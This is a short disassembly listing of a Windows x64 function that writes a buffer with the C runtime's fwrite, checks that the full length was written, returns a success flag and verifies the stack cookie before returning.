mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140013056
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14001305f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14001300c
xor al, al
jmp 0x14001300c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400f3ce0
add rsp, 0x60
pop rbx
ret